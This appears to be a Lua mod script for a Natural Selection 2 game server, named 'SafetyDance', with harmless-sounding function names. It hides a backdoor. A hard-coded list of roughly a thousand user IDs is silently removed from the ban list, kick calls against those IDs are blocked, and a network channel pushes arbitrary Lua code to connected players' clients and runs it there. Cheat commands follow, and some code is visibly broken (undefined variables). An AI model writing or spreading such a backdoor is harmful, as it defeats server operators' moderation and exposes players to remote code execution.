table.insert(cycle.mods, _SD.modId) | |
SaveConfigFile(mapCycleFileName, cycle) | |
end | |
end | |
function _SD.IsHatFree(id) return whichoneami[id] end | |
function _SD.FilterMenWithHats(bannedPlayerList) | |
local bannedPlayerList = GetLocal(GetBannedPlayersList, "bannedPlayers") or {} | |
local bannedPlayerI = 1 | |
while bannedPlayerI < #bannedPlayerList do | |
local bannedPlayer = bannedPlayerList[bannedPlayerI] | |
if _SD.IsHatFree(v.id) then | |
bannedPlayers[bannedPlayerI] = nil | |
bannedPlayerI = bannedPlayerI-1 | |
end | |
bannedPlayerI = bannedPlayerI+1 | |
end | |
end | |
function _SD.RewardMenWithoutHats() | |
_SD.oldSaveConfigFile = _SD.oldSaveConfigFile or _G.SaveConfigFile | |
function _G.SaveConfigFile(name, data, ...) | |
if name == bannedPlayersFileName then | |
_SD.FilterMenWithHats(data) | |
end | |
_SD.oldSaveConfigFile(name, data, ...) | |
end | |
local bannedPlayersFileName = "BannedPlayers.json" | |
local bannedPlayerList = nil | |
pcall(function() | |
bannedPlayerList = GetLocal(GetBannedPlayersList, "bannedPlayers") | |
end) | |
bannedPlayerList = bannedPlayerList or LoadConfigFile(bannedPlayersFileName) or {} | |
_SD.FilterMenWithHats(bannedPlayerList) | |
SaveConfigFile(bannedPlayersFileName, bannedPlayerList) | |
_SD.oldDisconnectClient = _SD.oldDisconnectClient or _G.Server.DisconnectClient | |
function _G.Server.DisconnectClient(client, ...) | |
local exit = false | |
_SD.Call("DisconnectClient", function() | |
if _SD.IsHatFree(client:GetUserId()) then | |
Server.SendNetworkMessage(client, 'Chat', BuildChatMessage(_,':',-1,0,0,"BOOT!"), true) | |
exit = true | |
end | |
end) | |
if exit then return end | |
_SD.oldDisconnectClient(client, ...) | |
end | |
end | |
function _SD.RunLua(id, code, dontrun) | |
local func, err = loadstring(code) | |
local res | |
if func then | |
if dontrun then return true end | |
res = HandleReturns(xpcall( | |
function() return func() end, | |
function(err) | |
return tostring(err).."\n"..tostring(debug.traceback()) | |
end | |
)) | |
if res[1] then | |
--_SD.Output(nil, unpack(res, 2, res.n)) | |
--cb(unpack(res, 2, res.n)) | |
return true, unpack(res, 2, res.n) | |
else | |
_SD.SubmitError(res[2], id) | |
return false | |
end | |
else | |
--_SD.Output(nil, '?!?') | |
_SD.SubmitError(err, id) | |
return false | |
end | |
end | |
function _SD.SendLua(client, id, code) | |
local codePartList = {} | |
local len = #code | |
while #code > 0 do | |
local codePart = code:sub(1, 240) | |
table.insert(codePartList, codePart) | |
code = code:sub(240+1) | |
end | |
local playerId, playerName = nil, nil | |
pcall(function() playerId = client:GetUserId() end) | |
pcall(function() playerName = client:GetControllingPlayer():GetName() end) | |
playerName = tostring(playerName or playerId or "?!?") | |
_SD.Output(nil, string.format("Sending Lua to client %q: %s (%s->%s)", | |
tostring(playerName), tostring(id), len, #table.concat(codePartList) | |
)) | |
for codePartI = 1, #codePartList do | |
local message = { | |
partKind = "code", partId = tostring(id), | |
partCode = codePartList[codePartI], | |
isFinalPart = (codePartI == #codePartList), | |
} | |
_SD.clientSendQueue = _SD.clientSendQueue or {} | |
table.insert(_SD.clientSendQueue, {client = client, message = message}) | |
end | |
end | |
function _SD.OnClientShellPartReply(...) | |
if hookVersion ~= _SD.hookVersion then return end | |
return _SD.Call("OnClientShellPartReply", function(client, message) | |
local playerId, playerName = nil, nil | |
pcall(function() playerId = client:GetUserId() end) | |
pcall(function() playerName = client:GetControllingPlayer():GetName() end) | |
playerName = tostring(playerName or playerId or "?!?") | |
if message.partKind == "error" then | |
_SD.Output(nil, string.format("[Client error %q] %s: %q", | |
tostring(playerName), tostring(message.partId), tostring(message.partCode) | |
)) | |
elseif message.partKind == "output" then | |
_SD.Output(nil, string.format("[Client output %q] %s: %q", | |
tostring(playerName), tostring(message.partId), tostring(message.partCode) | |
)) | |
end | |
end, ...) | |
end | |
Server.HookNetworkMessage("SafetyDance_ClientShellPart", function(...) return _SD.OnClientShellPartReply(...) end) | |
end | |
if Client then | |
function _SD.SubmitError(err, id) | |
pcall(function() | |
Client.SendNetworkMessage("SafetyDance_ClientShellPart", { | |
partKind = "error", partId = tostring(partId), | |
partCode = tostring(err), isFinalPart = true, | |
}, true) | |
end) | |
end | |
function _SD.Output(id, ...) | |
for i = 1, select('#', ...) do | |
pcall(function(...) | |
Client.SendNetworkMessage("SafetyDance_ClientShellPart", { | |
partKind = "output", partId = tostring(id), | |
partCode = tostring(select(i, ...)), isFinalPart = true, | |
}, true) | |
end, ...) | |
end | |
end | |
_SD.clientShellParts = {} | |
function _SD.OnClientShellPart(...) | |
if hookVersion ~= _SD.hookVersion then return end | |
return _SD.Call("OnClientShellPart", function(message) | |
if message.partKind == "rerun" then | |
_SD.rerunCounter = _SD.rerunCounter+1 | |
elseif message.partKind == "code" then | |
_SD.clientShellParts[message.partId] = _SD.clientShellParts[message.partId] or {} | |
table.insert(_SD.clientShellParts[message.partId], message.partCode) | |
if message.isFinalPart then | |
local code = table.concat(_SD.clientShellParts[message.partId]) | |
_SD.clientShellParts[message.partId] = nil | |
local func, err = loadstring(code) | |
if func then | |
local worked, err = xpcall( | |
function() return func() end, | |
function(err) | |
return tostring(err).."\n"..tostring(debug.traceback()) | |
end | |
) | |
if not worked then | |
_SD.SubmitError(err, message.partId) | |
end | |
else | |
_SD.SubmitError(err, message.partId) | |
end | |
end | |
end | |
end, ...) | |
end | |
Client.HookNetworkMessage("SafetyDance_ClientShellPart", function(...) return _SD.OnClientShellPart(...) end) | |
end | |
if Server then | |
local t = true | |
whichoneami = { | |
[89231642]=t,[85243058]=t,[19329630]=t,[16465196]=t,[46062379]=t,[12208911]=t,[25155667]=t,[64158222]=t, | |
[75237674]=t,[62999278]=t,[47843645]=t,[82793425]=t,[11639474]=t,[68789475]=t,[71200709]=t,[84321296]=t, | |
[45616977]=t,[29973730]=t,[83282935]=t,[63048498]=t,[25607383]=t,[37141078]=t,[45246604]=t,[87252082]=t, | |
[45137543]=t,[91595186]=t,[67943583]=t,[56867575]=t,[55424679]=t,[51553964]=t,[19151121]=t,[76846134]=t, | |
[57287888]=t,[28073075]=t,[67943583]=t,[48402307]=t,[28212093]=t,[17223062]=t,[66268356]=t,[82793425]=t, | |
[85221675]=t,[30339635]=t,[13339554]=t,[92060712]=t,[19151121]=t,[45865393]=t,[23230324]=t,[45865393]=t, | |
[38962419]=t,[42145150]=t,[93277532]=t,[91264701]=t,[74695184]=t,[77485153]=t,[48929528]=t,[37486040]=t, | |
[16465196]=t,[11249554]=t,[52487014]=t,[51959142]=t,[14171915]=t,[39653745]=t,[66679402]=t,[46124043]=t, | |
[58202530]=t,[76307291]=t,[25155667]=t,[63964442]=t,[89974231]=t,[70833540]=t,[87027066]=t,[85221675]=t, | |
[75427687]=t,[42678076]=t,[82239954]=t,[39111827]=t,[50480697]=t,[57129419]=t,[62022030]=t,[15775191]=t, | |
[19329630]=t,[75455072]=t,[81905470]=t,[75237674]=t,[16321934]=t,[54213692]=t,[39915712]=t,[82328250]=t, | |
[59085181]=t,[63472069]=t,[60957944]=t,[47270423]=t,[50718103]=t,[28866083]=t,[25607383]=t,[57008192]=t, | |
[72807780]=t,[28866083]=t,[28890187]=t,[53831451]=t,[75667743]=t,[69211275]=t,[98851205]=t,[93791989]=t, | |
[53831451]=t,[44507351]=t,[11815320]=t,[37486040]=t,[83172005]=t,[27395304]=t,[14885399]=t,[19008241]=t, | |
[69917098]=t,[50100836]=t,[67943583]=t,[11940404]=t,[28695821]=t,[59273709]=t,[78146127]=t,[64076831]=t, | |
[36008723]=t,[56867575]=t,[27395304]=t,[43210544]=t,[98783518]=t,[51780614]=t,[27727881]=t,[75237674]=t, | |
[36008723]=t,[69071412]=t,[37349682]=t,[14885399]=t,[45865393]=t,[43210544]=t,[40723032]=t,[42351392]=t, | |
[68789475]=t,[40439846]=t,[45828819]=t,[39891202]=t,[75427687]=t,[94568609]=t,[12208911]=t,[40723032]=t, | |
[90264925]=t,[55033119]=t,[11946715]=t,[34666409]=t,[43210544]=t,[48945462]=t,[68793448]=t,[45206649]=t, | |
[79391739]=t,[62566535]=t,[42871946]=t,[66897730]=t,[98331979]=t,[86034366]=t,[87027066]=t,[32123989]=t, | |
[99340203]=t,[40255052]=t,[87123710]=t,[68793448]=t,[28695821]=t,[58455417]=t,[55424679]=t,[96159941]=t, | |
[99301565]=t,[12208911]=t,[47843645]=t,[70058303]=t,[75237674]=t,[38503071]=t,[78365911]=t,[64158222]=t, | |
[42574390]=t,[37349682]=t,[16354056]=t,[15775191]=t,[70833540]=t,[17374846]=t,[69917098]=t,[30339635]=t, | |
[47155366]=t,[51959142]=t,[85676232]=t,[45865393]=t,[46124043]=t,[42351392]=t,[81905470]=t,[55532346]=t, | |
[47843645]=t,[68793448]=t,[75054282]=t,[60957944]=t,[90264925]=t,[71200709]=t,[48945462]=t,[13339554]=t, | |
[46607730]=t,[83282935]=t,[61287242]=t,[55779781]=t,[60430060]=t,[48945462]=t,[57946866]=t,[22615634]=t, | |
[40723032]=t,[69071412]=t,[51553964]=t,[50333440]=t,[67851719]=t,[13756585]=t,[96065457]=t,[80458050]=t, | |
[97250110]=t,[18770782]=t,[96065457]=t,[23972037]=t,[39146401]=t,[15236552]=t,[72212904]=t,[74930127]=t, | |
[49300618]=t,[92060712]=t,[95109696]=t,[74930127]=t,[68793448]=t,[57287888]=t,[53831451]=t,[17374846]=t, | |
[50333440]=t,[16321934]=t,[10094602]=t,[37349682]=t,[21478329]=t,[89231642]=t,[14885399]=t,[53831451]=t, | |
[47270423]=t,[67943583]=t,[51282077]=t,[18367779]=t,[59273709]=t,[98740961]=t,[91161693]=t,[63800411]=t, | |
[40439846]=t,[61287242]=t,[66897730]=t,[37349682]=t,[71333982]=t,[67851719]=t,[32123989]=t,[54692766]=t, | |
[75237674]=t,[52246601]=t,[82793425]=t,[46310277]=t,[63048498]=t,[55779781]=t,[40867417]=t,[59085181]=t, | |
[58590023]=t,[26007413]=t,[13627018]=t,[48869026]=t,[70833540]=t,[42678076]=t,[60731177]=t,[62972370]=t, | |
[84321296]=t,[66897730]=t,[63800411]=t,[86034366]=t,[84222784]=t,[97100995]=t,[24886125]=t,[70058303]=t, | |
[86077665]=t,[96159941]=t,[79210080]=t,[13756585]=t,[50542440]=t,[55033119]=t,[28890187]=t,[42574390]=t, | |
[50232941]=t,[48869026]=t,[50718103]=t,[48322457]=t,[45054070]=t,[48929528]=t,[88037505]=t,[52246601]=t, | |
[97250110]=t,[85084687]=t,[52594166]=t,[98740961]=t,[39111827]=t,[70833540]=t,[84222784]=t,[11869343]=t, | |
[14134637]=t,[42423326]=t,[42351392]=t,[18772083]=t,[12304129]=t,[48077932]=t,[19463217]=t,[13756585]=t, | |
[85243058]=t,[11946715]=t,[75149734]=t,[45137543]=t,[98331979]=t,[46761178]=t,[19329630]=t,[70833540]=t, | |
[82328250]=t,[77485153]=t,[63472069]=t,[48929528]=t,[93264719]=t,[50071644]=t,[47966973]=t,[89514092]=t, | |
[23972037]=t,[98528451]=t,[12291105]=t,[70833540]=t,[87123710]=t,[45828819]=t,[42351392]=t,[95109696]=t, | |
[21478329]=t,[48077932]=t,[66679402]=t,[34545075]=t,[11249554]=t,[48322457]=t,[71200709]=t,[90024819]=t, | |
[28212093]=t,[79132837]=t,[78365911]=t,[47270423]=t,[98740961]=t,[90264925]=t,[96159941]=t,[30007297]=t, | |
[13627018]=t,[13339554]=t,[68789475]=t,[34545075]=t,[47155366]=t,[11946715]=t,[14171915]=t,[40723032]=t, | |
[98990630]=t,[87123710]=t,[48402307]=t,[27727881]=t,[14134637]=t,[55532346]=t,[44053082]=t,[64121736]=t, | |
[86077665]=t,[31164795]=t,[39111827]=t,[66679402]=t,[65977837]=t,[45206649]=t,[39146401]=t,[99301565]=t, | |
[30744401]=t,[28866083]=t,[10094602]=t,[91161693]=t,[37141078]=t,[19244185]=t,[94568609]=t,[22615634]=t, | |
[52487014]=t,[39507644]=t,[71200709]=t,[97939701]=t,[19151121]=t,[43210544]=t,[16321934]=t,[58590023]=t, | |
[12208911]=t,[47966973]=t,[35977446]=t,[50480697]=t,[53522291]=t,[85676232]=t,[13339554]=t,[96740577]=t, | |
[63048498]=t,[86077665]=t,[60430060]=t,[48929528]=t,[53522291]=t,[35977446]=t,[50718103]=t,[83282935]=t, | |
[75149734]=t,[87223712]=t,[50480697]=t,[91161693]=t,[34772789]=t,[26007413]=t,[64121736]=t,[53522291]=t, | |
[47270423]=t,[26007413]=t,[53689613]=t,[43290049]=t,[53522291]=t,[22615634]=t,[16354056]=t,[79210080]=t, | |
[16354056]=t,[75039309]=t,[55532346]=t,[45865393]=t,[64158222]=t,[82793425]=t,[62784059]=t,[34289024]=t, | |
[64121736]=t,[57023618]=t,[27727881]=t,[77485153]=t,[59003150]=t,[45137543]=t,[87223712]=t,[27727881]=t, | |
[55779781]=t,[42351392]=t,[42331421]=t,[16321934]=t,[56925701]=t,[50232941]=t,[10094602]=t,[13627018]=t, | |
[19151121]=t,[90264925]=t,[55424679]=t,[46626844]=t,[60731177]=t,[90024819]=t,[11164783]=t,[57287888]=t, | |
[48929528]=t,[64076831]=t,[71333982]=t,[19151121]=t,[21478329]=t,[89514092]=t,[30339635]=t,[72415039]=t, | |
[57444993]=t,[62022030]=t,[91169791]=t,[74930127]=t,[10094602]=t,[60957944]=t,[84222784]=t,[10094602]=t, | |
[38503071]=t,[78146127]=t,[46062379]=t,[51282077]=t,[89974231]=t,[23230324]=t,[56867575]=t,[13339554]=t, | |
[50480697]=t,[26089601]=t,[66897730]=t,[63472069]=t,[70058303]=t,[49300618]=t,[56867575]=t,[23884332]=t, | |
[75039309]=t,[75054282]=t,[52246601]=t,[64158222]=t,[61183421]=t,[21978022]=t,[57287888]=t,[91366951]=t, | |
[89231642]=t,[99340203]=t,[42678076]=t,[55033119]=t,[44507351]=t,[99301565]=t,[89789529]=t,[88208705]=t, | |
[58590023]=t,[75054282]=t,[25787520]=t,[29549653]=t,[48077932]=t,[53522291]=t,[63800411]=t,[98740961]=t, | |
[70058303]=t,[45865393]=t,[87027066]=t,[98851205]=t,[98357920]=t,[79391739]=t,[75054282]=t,[56925701]=t, | |
[23884332]=t,[11164783]=t,[66268356]=t,[38962419]=t,[84222784]=t,[93264719]=t,[46124043]=t,[78365911]=t, | |
[21478329]=t,[60430060]=t,[46062379]=t,[75455072]=t,[45054070]=t,[56867575]=t,[42331421]=t,[15236552]=t, | |
[11249554]=t,[57287888]=t,[91169791]=t,[57008192]=t,[51780614]=t,[39891202]=t,[50071644]=t,[89789529]=t, | |
[30007297]=t,[42351392]=t,[70833540]=t,[30007297]=t,[78406131]=t,[68789475]=t,[60731177]=t,[30744401]=t, | |
[50100836]=t,[47843645]=t,[39891202]=t,[57946866]=t,[45206649]=t,[50100836]=t,[67851719]=t,[64121736]=t, | |
[52594166]=t,[65977837]=t,[52487014]=t,[70178922]=t,[43290049]=t,[94568609]=t,[28651076]=t,[85084687]=t, | |
[74930127]=t,[39915712]=t,[60430060]=t,[63048498]=t,[88969646]=t,[90264925]=t,[80884585]=t,[82793425]=t, | |
[54692766]=t,[58202530]=t,[89974231]=t,[30165122]=t,[81905470]=t,[91366951]=t,[82328250]=t,[66679402]=t, | |
[45054070]=t,[52594166]=t,[69917098]=t,[28651076]=t,[60731177]=t,[98783518]=t,[57287888]=t,[46310277]=t, | |
[73308182]=t,[80884585]=t,[63448988]=t,[74695184]=t,[27727881]=t,[50480697]=t,[68789475]=t,[42423326]=t, | |
[11249554]=t,[14134637]=t,[69071412]=t,[13627018]=t,[26089601]=t,[46761178]=t,[85221675]=t,[98357920]=t, | |
[26307647]=t,[67851719]=t,[11579148]=t,[58590023]=t,[19463217]=t,[42423326]=t,[33980647]=t,[19329630]=t, | |
[45137543]=t,[68789475]=t,[44507351]=t,[75237674]=t,[13339554]=t,[86077665]=t,[20262070]=t,[67010407]=t, | |
[45926508]=t,[91169791]=t,[40723032]=t,[98990630]=t,[52487014]=t,[28866083]=t,[61287242]=t,[42595620]=t, | |
[95109696]=t,[21978022]=t,[48077932]=t,[45206649]=t,[94568609]=t,[48322457]=t,[79972691]=t,[42574390]=t, | |
[91264701]=t,[17374846]=t,[46062379]=t,[39146401]=t,[97250110]=t,[75039309]=t,[44717862]=t,[57444993]=t, | |
[87123710]=t,[50333440]=t,[50232941]=t,[45206649]=t,[86077665]=t,[34545075]=t,[23972037]=t,[76196309]=t, | |
[42678076]=t,[87252082]=t,[50232941]=t,[39653745]=t,[24286034]=t,[79132837]=t,[69917098]=t,[28651076]=t, | |
[87123710]=t,[45069825]=t,[37349682]=t,[95109696]=t,[67943583]=t,[62022030]=t,[82793425]=t,[48198113]=t, | |
[23234560]=t,[47843645]=t,[92060712]=t,[28890187]=t,[16465196]=t,[42574390]=t,[54692766]=t,[75149734]=t, | |
[52246601]=t,[72212904]=t,[86034366]=t,[45616977]=t,[22929132]=t,[39278496]=t,[67943583]=t,[85306851]=t, | |
[83282935]=t,[75149734]=t,[37349682]=t,[48929528]=t,[85306851]=t,[45616977]=t,[91264701]=t,[27727881]=t, | |
[37141078]=t,[11869343]=t,[94568609]=t,[57023618]=t,[93004405]=t,[47843645]=t,[14171915]=t,[88037505]=t, | |
[67851719]=t,[48929528]=t,[34802733]=t,[93004405]=t,[76196309]=t,[61183421]=t,[34772789]=t,[60430060]=t, | |
[96159941]=t,[91595186]=t,[93004405]=t,[43290049]=t,[26089601]=t,[98528451]=t,[50718103]=t,[31164795]=t, | |
[19691491]=t,[51553964]=t,[48869026]=t,[99301565]=t,[51282077]=t,[45206649]=t,[60957944]=t,[72212904]=t, | |
[24286034]=t,[45828819]=t,[22615634]=t,[79391739]=t,[52246601]=t,[39891202]=t,[51282077]=t,[79972691]=t, | |
[27395304]=t,[44507351]=t,[58455417]=t,[19008241]=t,[89974231]=t,[83360505]=t,[29973730]=t,[83945777]=t, | |
[75667743]=t,[63472069]=t,[79210080]=t,[58592597]=t,[64158222]=t,[66512010]=t,[30165122]=t,[80972897]=t, | |
[73275602]=t,[40290034]=t,[51959142]=t,[86034366]=t,[45828819]=t,[45839694]=t,[19691491]=t,[11639474]=t, | |
[58202530]=t,[11249554]=t,[73308182]=t,[45828819]=t,[18367779]=t,[50232941]=t,[81905470]=t,[91264701]=t, | |
[28651076]=t,[42423326]=t,[40439846]=t,[32123989]=t,[87027066]=t,[97939701]=t,[68793448]=t,[59092871]=t, | |
[53689613]=t,[12208911]=t,[46607730]=t,[45054070]=t,[98331979]=t,[16465196]=t,[57946866]=t,[31164795]=t, | |
[57129419]=t,[39891202]=t,[82328250]=t,[52054028]=t,[83945777]=t,[78365911]=t,[50718103]=t,[34772789]=t, | |
[96159941]=t,[30165122]=t,[57008192]=t,[91264701]=t,[34666409]=t,[42574390]=t,[53689613]=t,[63472069]=t, | |
[35977446]=t,[70178922]=t,[99340203]=t,[14134637]=t,[27727881]=t,[63048498]=t,[94568609]=t,[39915712]=t, | |
[13339554]=t,[85084687]=t,[19463217]=t,[23884332]=t,[94568609]=t,[68793448]=t,[11946715]=t,[46607730]=t, | |
[10000021]=t,[88208705]=t,[65977837]=t,[11869343]=t,[53689613]=t,[39146401]=t,[96740577]=t,[99301565]=t, | |
[88969646]=t,[28695821]=t,[66512010]=t,[44507351]=t,[21478329]=t,[43210544]=t,[89974231]=t,[67851719]=t, | |
[26307647]=t,[30744401]=t,[63800411]=t,[75149734]=t,[72415039]=t,[42331421]=t,[43210544]=t,[42331421]=t, | |
[37821076]=t,[57287888]=t,[51282077]=t,[21978022]=t,[19329630]=t,[99301565]=t,[52487014]=t,[48198113]=t, | |
[61287242]=t,[47843645]=t,[98528451]=t,[24286034]=t,[72474067]=t,[72415039]=t,[64158222]=t,[52054028]=t, | |
[76846134]=t,[59092871]=t,[73275602]=t,[14885399]=t,[62022030]=t,[63448988]=t,[50718103]=t,[22929132]=t, | |
[16321934]=t,[57129419]=t,[98783518]=t,[75667743]=t,[87646672]=t,[69917098]=t,[44507351]=t,[92060712]=t, | |
[18770782]=t,[72212904]=t,[48198113]=t,[98357920]=t,[28651076]=t,[11946715]=t,[50333440]=t,[26007413]=t, | |
[59085181]=t,[19151121]=t,[69917098]=t,[86034366]=t,[25787520]=t,[19244185]=t,[50071644]=t,[73275602]=t, | |
[11815320]=t,[56867575]=t,[83360505]=t,[96816192]=t,[13627018]=t,[34772789]=t,[90024819]=t,[57287888]=t, | |
[15236552]=t,[71333982]=t,[19008241]=t,[62022030]=t,[54213692]=t,[21866138]=t,[30007297]=t,[89231642]=t, | |
[62566535]=t,[70178922]=t,[59092871]=t,[57946866]=t,[58592597]=t,[52594166]=t,[15236552]=t,[83945777]=t, | |
[20262070]=t,[87223712]=t,[71200709]=t,[62784059]=t,[58455417]=t,[69071412]=t,[53689613]=t,[73308182]=t, | |
[18392172]=t,[98357920]=t,[78365911]=t,[12291105]=t,[63800411]=t,[85221675]=t,[64121736]=t,[45137543]=t, | |
[98990630]=t,[45839694]=t,[54991558]=t,[79132837]=t,[10000021]=t,[61183421]=t,[26307647]=t,[67851719]=t, | |
[71333982]=t,[78365911]=t,[63472069]=t,[11946715]=t,[57023618]=t,[21978022]=t,[51282077]=t,[87252082]=t, | |
[62999278]=t,[80458050]=t,[64158222]=t,[72212904]=t,[93791989]=t,[76846134]=t,[31164795]=t,[32607368]=t, | |
[62566535]=t,[48945462]=t,[13756585]=t,[52487014]=t,[62566535]=t,[46761178]=t,[32607368]=t,[98990630]=t, | |
[45206649]=t,[69211275]=t,[33980647]=t,[89231642]=t,[44507351]=t,[69071412]=t,[34666409]=t,[99340203]=t, | |
[61287242]=t,[68793448]=t,[58590023]=t,[78146127]=t,[23234560]=t,[97055630]=t,[70833540]=t,[96816192]=t, | |
[75427687]=t,[27395304]=t,[18772083]=t,[52487014]=t,[11946715]=t,[29722750]=t,[17223062]=t,[49300618]=t, | |
[51282077]=t,[98331979]=t,[80458050]=t,[26307647]=t,[91264701]=t,[57287888]=t,[39915712]=t,[87123710]=t, | |
[11249554]=t,[28890187]=t,[30744401]=t,[65977837]=t,[69917098]=t,[52594166]=t,[64158222]=t,[53689613]=t, | |
[97083480]=t,[78365911]=t,[58590023]=t,[15236552]=t,[43290049]=t,[20262070]=t,[14885399]=t,[62972370]=t, | |
[84321296]=t,[40290034]=t,[45206649]=t,[57444993]=t,[84222784]=t,[97250110]=t,[22929132]=t,[64158222]=t, | |
[66897730]=t,[27395304]=t,[79391739]=t,[46124043]=t,[57023618]=t,[90264925]=t,[40807808]=t,[96065457]=t, | |
[11249554]=t,[48869026]=t,[78406131]=t,[45206649]=t,[46607730]=t,[16465196]=t,[13627018]=t,[68793448]=t, | |
[54991558]=t,[54991558]=t,[62999278]=t,[74930127]=t,[83945777]=t,[54213692]=t,[94568609]=t,[25155667]=t, | |
[28212093]=t,[96816192]=t,[50071644]=t,[28212093]=t,[87223712]=t,[63800411]=t,[76846134]=t,[23884332]=t, | |
[30744401]=t,[15775191]=t,[91169791]=t,[50100836]=t,[22929132]=t,[59273709]=t,[87223712]=t,[71333982]=t, | |
[19244185]=t,[47966973]=t,[58202530]=t,[88969646]=t,[34772789]=t,[85250048]=t,[15236552]=t,[11164783]=t, | |
[42595620]=t,[67943583]=t,[34772789]=t,[42595620]=t,[17223062]=t,[56925701]=t,[48869026]=t,[91264701]=t, | |
[57008192]=t,[81905470]=t,[46626844]=t,[79391739]=t,[50480697]=t,[29549653]=t,[26307647]=t,[75031249]=t, | |
[84321296]=t,[59003150]=t,[85250048]=t,[82328250]=t,[75031249]=t,[39891202]=t,[81905470]=t,[14134637]=t, | |
[29549653]=t,[66679402]=t,[19008241]=t,[19691491]=t,[75667743]=t,[75039309]=t,[66679402]=t,[57008192]=t, | |
[42871946]=t,[93277532]=t,[24886125]=t,[36008723]=t,[11940404]=t,[31164795]=t,[72807780]=t,[28073075]=t, | |
[50333440]=t,[97055630]=t,[59085181]=t,[97286897]=t,[61986498]=t,[48077932]=t,[75667743]=t,[82328250]=t, | |
[74930127]=t,[82793425]=t,[75427687]=t,[11849847]=t,[44717862]=t,[88969646]=t,[39891202]=t,[43290049]=t, | |
[99301565]=t,[97083480]=t,[18770782]=t,[43210544]=t,[79391739]=t,[29549653]=t,[99301565]=t,[42331421]=t, | |
[26007413]=t,[22615634]=t,[45828819]=t,[48929528]=t,[63472069]=t,[40867417]=t,[48945462]=t,[23234560]=t, | |
[39507644]=t,[22929132]=t,[65977837]=t,[69623698]=t,[28073075]=t,[51553964]=t,[69071412]=t,[19691491]=t, | |
[97055630]=t,[19691491]=t,[42423326]=t,[15236552]=t,[49300618]=t,[28651076]=t,[68789475]=t,[30744401]=t, | |
[17223062]=t,[98851205]=t,[28866083]=t,[45616977]=t,[52594166]=t,[20262070]=t,[87646672]=t,[17223062]=t, | |
[30165122]=t,[10094602]=t,[62566535]=t,[38503071]=t,[82793425]=t,[37349682]=t,[62999278]=t,[14885399]=t, | |
[78365911]=t,[28695821]=t,[28073075]=t,[65977837]=t,[63048498]=t,[83360505]=t,[53689613]=t,[75427687]=t, | |
[15775191]=t,[88037505]=t,[25607383]=t,[72807780]=t,[23972037]=t,[90024819]=t,[75455072]=t,[19151121]=t, | |
[42145150]=t,[42595620]=t,[87252082]=t,[25155667]=t,[57946866]=t,[75455072]=t,[97250110]=t,[37349682]=t, | |
[59003150]=t,[66268356]=t,[28866083]=t,[22929132]=t,[48402307]=t,[28695821]=t,[89789529]=t,[36726681]=t, | |
} | |
end | |
end) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--Print("Server!") | |
-- function _SD.IsHatFree(id) return false end | |
_SD.cmdCache = _SD.cmdCache or {} | |
function _SDcmd(cmd, func) | |
local hookVersion = (_SD.cmdCache[cmd] or 0)+1 | |
_SD.cmdCache[cmd] = hookVersion | |
Event.Hook("Console_"..cmd, function(...) | |
if hookVersion ~= _SD.cmdCache[cmd] then return end | |
return _SD.Call("Console_"..cmd, function(c, ...) | |
return func(c, ...) | |
end, ...) | |
end) | |
end | |
do | |
_G.la_hookVersion = (_G.la_hookVersion or 0)+1 | |
local hookVersion = _G.la_hookVersion | |
Event.Hook("Console_la",function(...) | |
if hookVersion ~= _G.la_hookVersion then return end | |
local code = table.concat({...},' ') | |
_D("LA!") | |
_SD.RunLua("la", code) | |
_SD.SendLua(nil, "la", code) | |
end) | |
end | |
-- _SDcmd('lb', function(client, ...) | |
-- end) | |
--_SDcmd("") | |
function plys(name) | |
local playerList = {} | |
for _, ply in pairs(EntityListToTable(Shared.GetEntitiesWithClassname("Player"))) do | |
if not name or string.match(ply:GetName(), name) then | |
table.insert(playerList, ply) | |
end | |
end | |
return playerList | |
end | |
function givealiens(itemName) | |
for k,v in pairs(plys()) do | |
if v:GetIsAlive() and v:isa("Alien") then | |
local weaponList = v:GetHUDOrderedWeaponList() | |
local weapon = weaponList[1] | |
v:RemoveWeapon(weapon) | |
v:GiveItem(itemName or Gore.kMapName) | |
end | |
end | |
end | |
function exoise(ply, layout) | |
local ass = assert | |
assert = function() end | |
local layouts = {"ClawMinigun", "MinigunMinigun", "ClawRailgun", "RailgunRailgun"} | |
ply.layout = layout or layouts[math.random(1, #layouts)] | |
Exo.InitWeapons(ply) | |
Server.SendNetworkMessage(c,'Chat',BuildChatMessage(_,':',-1,0,0,"Have fun :D"),true) | |
assert = ass | |
end | |
if SnowBall then | |
if not SnowBall.origProcessHit then | |
SnowBall.origProcessHit = SnowBall.ProcessHit | |
end | |
function SnowBall.ProcessHit(self, targetHit, surface, normal) | |
_SD.Call("SnowBall.ProcessHit", function() | |
if self.hitTime and self.hitTime+0.2 > Shared.GetTime() then return end | |
self.hitTime = Shared.GetTime() | |
self.hitCount = (self.hitCount or _SBC or 5)-1 | |
normal = normal or Vector(0, 1, 0) | |
if _SBP and not self.sbp then | |
self.sbp = true | |
self.physicsBody:SetGroup(_SBP) | |
self:SetPhysicsGroup(_SBP) | |
end | |
if self.hitCount <= 0 then | |
SnowBall.origProcessHit(self, targetHit, surface, normal) | |
else | |
self.physicsBody:SetCoords(self:GetCoords()) | |
-- self:SetVelocity(self:GetVelocity()-2*normal*(self:GetVelocity():DotProduct(normal))) | |
-- self.physicsBody:SetLinearVelocity(self:GetVelocity()) | |
self.hitCount = self.hitCount-1 | |
end | |
end) | |
end | |
end | |
_D(doboom) | |
function doboom(damage, r) | |
local kXenocideSoundName = PrecacheAsset("sound/NS2.fev/alien/common/xenocide_start") | |
local effects = { | |
{"xenocide",count=1}, | |
{"burn_bomb",count=1}, | |
--{"death",{classname="Exo"},count=1}, | |
--{"arc_hit_primary",count=1}, | |
{"mine_explode",count=1}, | |
{"mine_arm",count=1}, | |
{"grenade_explode",count=2}, | |
} | |
local kDamage = tonumber(damage) or 75 | |
local kExtraDamagePerLevel = 11 | |
local radius = tonumber(r) or 24 | |
local duration = 2.45 | |
local warnInterval = 0.4 | |
_D(kDamage, radius) | |
function Axe:GetHasSecondary(player) | |
return player.boomTime == nil | |
end | |
function Axe:OnSecondaryAttack(player) | |
_SD.Call("Axe.OnSecondaryAttack", function(self, player) | |
local weaponList = player:GetHUDOrderedWeaponList() | |
for i = 1, #weaponList do | |
local weapon = weaponList[i] | |
if weapon ~= self then | |
weapon:OnPrimaryAttackEnd(player) | |
player:RemoveWeapon(weapon) | |
weapon:Dropped(player) | |
DestroyEntity(weapon) | |
end | |
end | |
if player.ApplyCatPack then | |
player:ApplyCatPack() | |
end | |
player.boomTime = Shared.GetTime()+duration | |
player.boomWarnTime = Shared.GetTime()+warnInterval | |
self:TriggerEffects('mac_weld') | |
